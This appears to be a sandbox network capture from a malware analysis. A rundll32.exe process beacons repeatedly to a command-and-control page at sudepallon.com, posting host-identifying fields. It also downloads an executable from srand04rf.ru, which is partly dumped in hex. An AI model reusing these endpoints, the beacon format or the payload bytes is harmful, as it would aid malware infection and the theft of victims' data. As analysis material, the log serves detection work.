Jul 9, 2021 03:08:52.190005064 CEST	505	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:52.258213997 CEST	505	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:53 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 4a 51 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZJQAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
189	192.168.2.22	49354	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:52.541820049 CEST	506	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:52.613114119 CEST	507	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 4e 4d 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMNMNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
19	192.168.2.22	49184	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:48.451046944 CEST	315	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:07:48.518409014 CEST	315	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:07:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4a 56 45 51 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cJVEQARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
190	192.168.2.22	49355	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:52.906284094 CEST	507	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:52.973921061 CEST	508	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 46 55 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMFUNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
191	192.168.2.22	49356	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:53.256448984 CEST	509	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:53.321491957 CEST	509	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:54 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 4e 4d 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYNMBARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
192	192.168.2.22	49357	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:53.600765944 CEST	510	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:53.672774076 CEST	510	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 41 5a 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHAZSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
193	192.168.2.22	49358	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:53.952621937 CEST	511	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:54.020433903 CEST	511	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 56 45 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMVENARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
194	192.168.2.22	49359	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:54.293967009 CEST	512	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:54.359905005 CEST	512	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:55 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 54 47 54 47 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cTGTGARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
195	192.168.2.22	49360	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:54.646614075 CEST	513	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:54.716221094 CEST	513	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4e 42 59 4d 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cNBYMARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
196	192.168.2.22	49361	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:54.999183893 CEST	514	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:55.068886995 CEST	514	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:56 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 54 47 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZTGAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
197	192.168.2.22	49362	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:55.355285883 CEST	515	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:55.421480894 CEST	516	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 48 53 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHHSSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
198	192.168.2.22	49363	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:55.709487915 CEST	516	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:55.776510000 CEST	517	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 59 42 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCYBXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
199	192.168.2.22	49364	77.222.42.67	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:08:56.063834906 CEST	517	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: sudepallon.com Content-Length: 112 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 34 36 39 35 35 36 38 36 30 38 30 32 38 32 33 34 30 34 26 42 55 49 4c 44 3d 30 37 30 37 5f 77 76 63 72 26 49 4e 46 4f 3d 33 39 30 31 32 30 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 31 38 35 2e 31 38 39 2e 31 35 30 2e 37 30 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7469556860802823404&BUILD=0707_wvcr&INFO=390120 @ user-PC\user&EXT=&IP=185.189.150.70&TYPE=1&WIN=6.1(x64)
Jul 9, 2021 03:08:56.129362106 CEST	518	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Fri, 09 Jul 2021 01:08:57 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 47 54 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZGTAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.2.22	49167	8.211.241.0	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 9, 2021 03:07:42.683511972 CEST	2	OUT	GET /7hfjsdfjks.exe HTTP/1.1 Accept: / User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: srand04rf.ru Cache-Control: no-cache
Jul 9, 2021 03:07:42.873905897 CEST	3	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 09 Jul 2021 01:07:42 GMT Content-Type: application/octet-stream Content-Length: 272910 Connection: keep-alive Last-Modified: Wed, 09 Jun 2021 16:00:40 GMT ETag: "60c0e5a8-42a0e" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 08 00 00 00 00 00 00 2a 04 00 00 00 00 00 e0 00 2f 03 0b 01 02 1e 00 50 03 00 00 26 04 00 00 06 00 00 80 14 00 00 00 10 00 00 00 60 03 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 80 04 00 00 04 00 00 81 81 04 00 02 00 00 01 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 50 04 00 a4 0e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 64 9b 03 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b4 52 04 00 00 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 44 4f 03 00 00 10 00 00 00 50 03 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 38 00 00 00 00 60 03 00 00 02 00 00 00 54 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 c0 2e 72 64 61 74 61 00 00 a8 2d 00 00 00 70 03 00 00 2e 00 00 00 56 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 40 2f 34 00 00 00 00 00 00 14 90 00 00 00 a0 03 00 00 92 00 00 00 84 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 62 73 73 00 00 00 00 40 04 00 00 00 40 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 69 64 61 74 61 00 00 a4 0e 00 00 00 50 04 00 00 10 00 00 00 16 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 38 00 00 00 00 60 04 00 00 02 00 00 00 26 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 08 00 00 00 00 70 04 00 00 02 00 00 00 28 04 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f3 c3 8d b4 26 00 00 00 00 8d bc 27 00 00 00 00 83 ec 1c 31 c0 66 81 3d 00 00 40 00 4d 5a c7 05 ec 43 44 00 01 00 00 00 c7 05 e8 43 44 00 01 00 00 00 c7 05 e4 43 44 00 01 00 00 00 c7 05 80 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PEL*/P&`@ PdR.textDOP`P`.data8`T@@.rdata-p.V@@@/4@0@.bss@@`.idataP@0.CRT8`&@0.tlsp(@0&'1f=@MZCDCDCD
Jul 9, 2021 03:07:42.873929977 CEST	5	IN	Data Raw: 40 44 00 01 00 00 00 74 49 a3 08 40 44 00 a1 f8 43 44 00 85 c0 74 2d c7 04 24 02 00 00 00 e8 b2 3d 03 00 e8 b5 3d 03 00 8b 15 08 44 44 00 89 10 e8 ac 3e 03 00 83 3d 20 60 43 00 01 74 63 31 c0 83 c4 1c c3 c7 04 24 01 00 00 00 e8 85 3d 03 00 eb d1 Data Ascii: @DtI@DCDt-$==DD>= `Ctc1$=<@@PE@uQft>fuv1rv'$QC@1ytL1:f,CDD$@DD$@DD$@D
Jul 9, 2021 03:07:42.873940945 CEST	6	IN	Data Raw: 10 00 8d 77 14 8b 47 08 3b 47 0c 74 72 8d 48 18 8d 55 d8 89 4f 08 8d 4d ac f2 0f 10 40 10 f2 0f 11 45 e8 f2 0f 10 00 f2 0f 10 48 08 f2 0f 11 4d e0 f2 0f 11 45 d8 e8 8b 2e 00 00 89 d9 e8 e2 1b 00 00 c7 47 10 01 00 00 00 f2 0f 10 45 e8 f2 0f 11 46 Data Ascii: wG;GtrHUOM@EHME.GEFEMNEtMEM]4g],uKuW0&.t8MEMMMEEMECKCO,>g,#H^_[
Jul 9, 2021 03:07:42.873954058 CEST	8	IN	Data Raw: d9 89 45 d0 f2 0f 11 45 c8 e8 b4 4e 02 00 89 d6 8d 4d ac 89 c2 56 e8 41 b7 00 00 58 89 d9 e8 dd 0f 02 00 8b 45 c4 f2 0f 10 45 bc f2 0f 10 55 ac f2 0f 10 4d b4 8d 4d 94 89 da 89 45 e0 f2 0f 11 45 d8 f2 0f 11 4d d0 f2 0f 11 55 c8 e8 99 2b 00 00 8b Data Ascii: EENMVAXEEUMMEEMU+EpUuJJMEMEMUFNVeME `^_[]USWV,rMBJ)EMtFKBAr[rIs
Jul 9, 2021 03:07:42.873965025 CEST	9	IN	Data Raw: 1c 8b 5a 04 89 c6 0f b7 78 06 85 db 74 0a 8b 76 34 8b 44 b8 34 4b eb ee 8b 52 08 eb 06 31 c0 31 f6 31 d2 83 21 00 89 71 04 83 61 08 00 83 61 0c 00 83 61 10 00 89 41 14 83 61 18 00 89 79 1c 89 51 20 5e 5f 5b 5d c3 55 89 e5 53 57 56 83 ec 20 8b 45 Data Ascii: Zxtv4D4KR111!qaaaAayQ ^_[]USWV EuMWPf%XYFN>^EMv9jXP7YUjXP7YjX9EuOM0}t2u6jZW\|%Y9u WuP-MUc0
Jul 9, 2021 03:07:42.873975992 CEST	10	IN	Data Raw: 74 00 00 eb 1a b8 5c 6e 00 00 eb 13 b8 5c 72 00 00 eb 0c b8 5c 22 00 00 eb 05 b8 5c 27 00 00 89 f9 c7 45 d4 01 00 00 00 83 65 d8 00 89 4d dc 89 45 e0 e9 50 ff ff ff 89 c1 80 c1 e0 80 f9 5f 73 05 31 c9 41 eb db 89 c2 c0 ea 04 3c a0 6a 57 59 6a 30 Data Ascii: t\n\r\"\'EeMEP_s1A<jWYj0_B$<jWZBj_\xjY/ECEeECeEKSPtY(^_[]UEMj'Y]UEMjY]UEu0
Jul 9, 2021 03:07:42.874003887 CEST	12	IN	Data Raw: 00 83 c4 24 5e 5f 5d c3 e8 95 1b 02 00 0f 0b 55 89 e5 57 56 83 ec 24 89 ce 31 c9 8d 45 f4 8d 7d ec 89 10 41 8d 55 d4 89 07 c7 47 04 13 28 40 00 89 0e 83 66 04 00 c7 02 c8 94 43 00 89 4a 04 83 62 08 00 83 66 08 00 89 7a 10 89 4a 14 89 f1 e8 bb fb Data Ascii: $^_]UWV$1E}AUG(@fCJbfzJu$^_]7UWV$1E}AUG&@fCJbfzJ]u5$^_]UWV$1E}AUG_&@f
